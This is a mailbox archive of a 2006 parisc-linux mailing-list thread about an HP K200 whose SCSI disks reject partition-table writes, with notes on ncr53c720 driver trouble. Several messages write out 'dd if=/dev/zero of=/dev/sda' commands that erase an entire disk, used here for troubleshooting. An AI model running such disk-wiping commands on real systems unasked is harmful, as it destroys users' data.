Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2006 14:34:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 25 Sep 2006 16:34:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAE007D6D7;
	Mon, 25 Sep 2006 08:34:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15350-09; Mon, 25 Sep 2006 08:34:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EF107D6E5;
	Mon, 25 Sep 2006 08:34:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F6A07D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 08:34:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15350-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 08:34:15 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id BE5567D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 08:34:15 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k8PEYFmn035810
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 07:34:15 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.72.46] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id KJ90qNF2
	authenticated by SMTP; Mon, 25 Sep 2006 07:34:13 -0700 (PDT)
User-Agent: KMail/1.7.2
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ztoldpM/PTRtDujGPjIwuSAxc2tpZAs/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24008

Group,

The home of this stuff seems to now be lsi logic.
<http://www.lsilogic.com/cm/LookupDocuments.do>

The ncr53c720 does not seem to have anything of
its own, other than a product brief - probably
now included in the other technical manuals.

For instance - the "SCSI SCRIPTS Processor Programmer's Guide"
includes the 53c7xx series chips.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't write to hard drives on a K200
Date: Tue, 26 Sep 2006 12:13:10 +0000
Lines: 61
Approved: news@gmane.org
Message-ID: <45191956.4060800@scarlet.be>
References: <4518662C.6020103@emenaker.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624190 21087 80.91.229.3 (22 Nov 2014 02:43:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joe Emenaker <joe@emenaker.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Sep 2006 12:13:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 26 Sep 2006 14:13:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C0007D67E;
	Tue, 26 Sep 2006 06:13:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29397-06; Tue, 26 Sep 2006 06:13:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 672967D679;
	Tue, 26 Sep 2006 06:13:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E2D97D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 06:13:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29393-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 06:13:16 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 60F907D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 06:13:16 -0600 (MDT)
Original-Received: from (ip-213-49-66-196.dsl.scarlet.be [213.49.66.196])
	by weequay.is.scarlet.be  with ESMTP id k8QCDBG12877;
	Tue, 26 Sep 2006 14:13:11 +0200
User-Agent: Thunderbird 1.5.0.7 (X11/20060915)
In-Reply-To: <4518662C.6020103@emenaker.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XC8sdFwRbUkoDenGPWgnUolkZ2hlNwqb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24009



Joe Emenaker wrote:
> I've booted a Gentoo install CD, which puts me in a root shell. The 
> first step, I guess, is to partition the drives... but the thing won't 
> let me.
> 
>  > When I try to write from "cfdisk /dev/sda", it gives me:
>  > Wrting partition table to disk...
>  > end_request: I/O error, dev sda, sector 0
>  > Buffer I/O error on device sda, logical block 0
>  > lost page write due to I/O error on sda
>  > SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
> 
> Just in case it was a glitch in cfdisk, I tried writing from fdisk, as 
> well:
> 
>  > Calling ioctl() to re-read partition table.
>  > end_request: I/O error, dev sda, sector 0
>  > Buffer I/O error on device sda, logical block 0
>  > lost page write due to I/O error on sda
>  > SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
>  > sda: Write Protect is off
>  > SCSI device sda: drive cache: write through w/ FUA
>  > SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
>  > sda: Write Protect is off
>  > SCSI device sda: drive cache: write through w/ FUA
> 
> Hrmmm.... so maybe the disks are read-only somehow, right? Well then how 
> come I can dd like so:
> 
>   dd if=/dev/zero of=/dev/sda bs=512 count=10
> 
> That works fine. So.... anybody have any idea what's going on?
> 
If that doesn't matter to completely erase your disk try the same cmdl without count param, i.e.
	dd if=/dev/zero of=/dev/sda bs=512

Or to be quicker:
	dd if=/dev/zero of=/dev/sda bs=512k (e.g.)

(I don't remember where [c ]fdisk write its "partition table" but) my hypothesis is that could be out of first 5k?

btw, iirc you have severall other disks on this system, didn't you have the opportunity to switch this disk with another one 
  or, if possible, choose another disk (sdb, sdc, sdd?) to install your distro?

Hth,
	Joel
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SPAM: [parisc-linux] Can't write to hard drives on a K200
Date: Mon, 25 Sep 2006 19:06:15 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <200609251906.15570.mszick@morethan.org>
References: <4518662C.6020103@emenaker.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624190 21091 80.91.229.3 (22 Nov 2014 02:43:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Sep 2006 00:06:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 26 Sep 2006 02:06:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1F167D743;
	Mon, 25 Sep 2006 18:06:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21399-10; Mon, 25 Sep 2006 18:06:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D13B47D73F;
	Mon, 25 Sep 2006 18:06:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19ABC7D73D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 18:06:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21330-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 18:06:20 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id BC0D47D72F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Sep 2006 18:06:20 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k8Q06NxF064892;
	Mon, 25 Sep 2006 17:06:23 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [76.4.41.89] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id TsG0zwM2
	authenticated by SMTP; Mon, 25 Sep 2006 17:06:22 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <4518662C.6020103@emenaker.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NFgqdB5RIyd1EvqQe2drBQlaa2FkZtXb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24010

On Mon September 25 2006 18:28, Joe Emenaker wrote:
> I've booted a Gentoo install CD, which puts me in a root shell. The 
> first step, I guess, is to partition the drives... but the thing won't 
> let me.
> 
>  > When I try to write from "cfdisk /dev/sda", it gives me:
>  > Wrting partition table to disk...
>  > end_request: I/O error, dev sda, sector 0
>  > Buffer I/O error on device sda, logical block 0
>  > lost page write due to I/O error on sda
>  > SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
> 
> Just in case it was a glitch in cfdisk, I tried writing from fdisk, as well:
> 
>  > Calling ioctl() to re-read partition table.
>  > end_request: I/O error, dev sda, sector 0
>  > Buffer I/O error on device sda, logical block 0
>  > lost page write due to I/O error on sda
>  > SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
>  > sda: Write Protect is off
>  > SCSI device sda: drive cache: write through w/ FUA
>  > SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
>  > sda: Write Protect is off
>  > SCSI device sda: drive cache: write through w/ FUA
> 
> Hrmmm.... so maybe the disks are read-only somehow, right? Well then how 
> come I can dd like so:
> 
>    dd if=/dev/zero of=/dev/sda bs=512 count=10
> 
> That works fine. So.... anybody have any idea what's going on?
> 

Other problems have been report on other models that also use the ncr53c720
driver -  most often filesystem corruption.

The problem has not yet been isolated - might be the driver code or the
hardware adapter code used with that scsi adapter.

In contrast, some pci add-in cards that use the driver are known to work(???).

Translation: Something is wrong, no one has yet offered a solution.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Emenaker <joe@emenaker.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't write to hard drives on a K200
Date: Tue, 26 Sep 2006 16:38:49 -0700
Lines: 129
Approved: news@gmane.org
Message-ID: <4519BA09.5070000@emenaker.com>
References: <4518662C.6020103@emenaker.com> <45191956.4060800@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0555140148=="
X-Trace: ger.gmane.org 1416624190 21093 80.91.229.3 (22 Nov 2014 02:43:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Sep 2006 23:41:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 27 Sep 2006 01:41:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5A807D687;
	Tue, 26 Sep 2006 17:41:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05694-07; Tue, 26 Sep 2006 17:41:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D492B7D69D;
	Tue, 26 Sep 2006 17:41:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8043A7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 17:41:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05694-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 17:41:35 -0600 (MDT)
Original-Received: from scully.cob.calpoly.edu (www.ocob.org [129.65.185.9])
	by free.linux.hp.com (Postfix) with ESMTP id 12A727D655
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 17:41:35 -0600 (MDT)
Original-Received: from [129.65.91.128] (damien.cob.calpoly.edu [::ffff:129.65.91.128])
	(AUTH: PLAIN jemenake, TLS: TLSv1/SSLv3,256bits,AES256-SHA)
	by scully.cob.calpoly.edu with esmtp; Tue, 26 Sep 2006 16:41:31 -0700
	id 0028829C.4519BAAC.0000370C
User-Agent: Thunderbird 1.5.0.7 (Windows/20060909)
In-Reply-To: <45191956.4060800@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iI0rdJB6Iyd1EvqQe2drdsJaa2FkZtXp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24011

This is a MIME-formatted message.  If you see this text it means that your
E-mail software does not support MIME-formatted messages.

--===============0555140148==
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature";
	micalg=sha1;
	boundary="=_scully.cob.calpoly.edu-14092-1159314092-0001-2"

This is a MIME-formatted message.  If you see this text it means that your
E-mail software does not support MIME-formatted messages.

--=_scully.cob.calpoly.edu-14092-1159314092-0001-2
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Joel Soete wrote:
>> Hrmmm.... so maybe the disks are read-only somehow, right? Well then 
>> how come I can dd like so:
>>
>>   dd if=/dev/zero of=/dev/sda bs=512 count=10
>>
>> That works fine. So.... anybody have any idea what's going on?
> If that doesn't matter to completely erase your disk try the same cmdl 
> without count param, i.e.
>     dd if=/dev/zero of=/dev/sda bs=512
Well, I did the entire drive with:
   dd if=/dev/zero of=/dev/sda bs=512 count=10 count=8388314
and that worked fine.

I also tried your
    dd if=/dev/zero of=/dev/sda bs=512k
and that worked too (8192 records in, 8192 records out).

So... dd works, (c)fdisk doesn't. I guess I could just get someone to 
partition a blank hd just the way I want and then send me their 
partition table (dd if=/dev/sdX bs=512 count=1 | gzip -9 | mail ....), 
then I could dd it on this end and I'd be all set, huh?

Well, there's another option. I could plug the drives into a SCSI card 
on a PC... but I've tried that, and I can't get that to work. If someone 
wants to help me with *that*, I'd appreciate that as well, since I 
clearly don't understand all of the intricacies of SCSI, because I 
couldn't get the PC to recognize the drive(s). I *think* it had to do 
with the drives being (apparently) "single-ended"... but I don't know.

- Joe

--=_scully.cob.calpoly.edu-14092-1159314092-0001-2
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJOTCC
AvcwggJgoAMCAQICEHKE5d1CKe8zTbgKdGEGRgUwDQYJKoZIhvcNAQEEBQAwYjELMAkGA1UE
BhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMT
I1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA2MDQwNzAxMTI1MFoX
DTA3MDQwNzAxMTI1MFowXzERMA8GA1UEBBMIRW1lbmFrZXIxDzANBgNVBCoTBkpvc2VwaDEY
MBYGA1UEAxMPSm9zZXBoIEVtZW5ha2VyMR8wHQYJKoZIhvcNAQkBFhBqb2VAZW1lbmFrZXIu
Y29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwxNyoeJ17aD/6pq7mkqe0BZF
c4K39d3cuPt567B/opDnQxnDQOX4mFW6P7gsemvZYqMozp7Sa3gfwxEWxTs7nAyvc3JSIpxq
GTwnh742VIMueoOj/SMeiPXKFICpiu0+TkZxUbJqHptZAJBJG3hSeoe5j1VqnJMuRACcaDeO
Xz8sZBxHEw5YBrKxCpGzgGDsKsk6rSxcu0Rf4bX7KanNirNdfUqEVP9rmXT3GvT3AxD9Q5BF
EqD2Y9E1IiS4YJVL8EUyP9bDftitFGJflm3cHqftPb+ujumxHG0AzaIzcFW9ELPr/flZhbet
9KUiKubH6AGaW4GTAwoh/I4F5XDLyQIDAQABoy0wKzAbBgNVHREEFDASgRBqb2VAZW1lbmFr
ZXIuY29tMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEEBQADgYEAT6IcAjwZUWVbJZ1rLdsh
1GvQu1Yo9BLq6fSs/E3Ljm+HSc/VvqY1iuSJNbkyinDjxPWqkfFmwTSbVoBaXAQi1PHCfx5F
6//bd3b73gFJm6/BL5mQpb4pdEdrKGci1d7bw1n9ncr0S9h9yvAdEn0zTmspt/ormep2G7bI
e5EdgfEwggL3MIICYKADAgECAhByhOXdQinvM024CnRhBkYFMA0GCSqGSIb3DQEBBAUAMGIx
CzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSww
KgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWluZyBDQTAeFw0wNjA0MDcw
MTEyNTBaFw0wNzA0MDcwMTEyNTBaMF8xETAPBgNVBAQTCEVtZW5ha2VyMQ8wDQYDVQQqEwZK
b3NlcGgxGDAWBgNVBAMTD0pvc2VwaCBFbWVuYWtlcjEfMB0GCSqGSIb3DQEJARYQam9lQGVt
ZW5ha2VyLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMMTcqHide2g/+qa
u5pKntAWRXOCt/Xd3Lj7eeuwf6KQ50MZw0Dl+JhVuj+4LHpr2WKjKM6e0mt4H8MRFsU7O5wM
r3NyUiKcahk8J4e+NlSDLnqDo/0jHoj1yhSAqYrtPk5GcVGyah6bWQCQSRt4UnqHuY9VapyT
LkQAnGg3jl8/LGQcRxMOWAaysQqRs4Bg7CrJOq0sXLtEX+G1+ympzYqzXX1KhFT/a5l09xr0
9wMQ/UOQRRKg9mPRNSIkuGCVS/BFMj/Ww37YrRRiX5Zt3B6n7T2/ro7psRxtAM2iM3BVvRCz
6/35WYW3rfSlIirmx+gBmluBkwMKIfyOBeVwy8kCAwEAAaMtMCswGwYDVR0RBBQwEoEQam9l
QGVtZW5ha2VyLmNvbTAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBBAUAA4GBAE+iHAI8GVFl
WyWday3bIdRr0LtWKPQS6un0rPxNy45vh0nP1b6mNYrkiTW5Mopw48T1qpHxZsE0m1aAWlwE
ItTxwn8eRev/23d2+94BSZuvwS+ZkKW+KXRHayhnItXe28NZ/Z3K9EvYfcrwHRJ9M05rKbf6
K5nqdhu2yHuRHYHxMIIDPzCCAqigAwIBAgIBDTANBgkqhkiG9w0BAQUFADCB0TELMAkGA1UE
BhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYD
VQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNl
cyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENBMSswKQYJ
KoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAzMDcxNzAwMDAw
MFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25z
dWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJ
c3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxVc1X7TrnKmVoeaMB1
BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J8CuFWqo/cVbLrzwL
B+fxH5E2JCoTzyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9IBH+nttE8YQRAHmQZ
cmC3+wIDAQABo4GUMIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDagNIYy
aHR0cDovL2NybC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYD
VR0PBAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwyLTEzODAN
BgkqhkiG9w0BAQUFAAOBgQBIjNFQg+oLLswNo2asZw9/r6y+whehQ5aUnX9MIbj4Nh+qLZ82
L8D0HFAgk3A8/a3hYWLD2ToZfoSxmRsAxRoLgnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr3
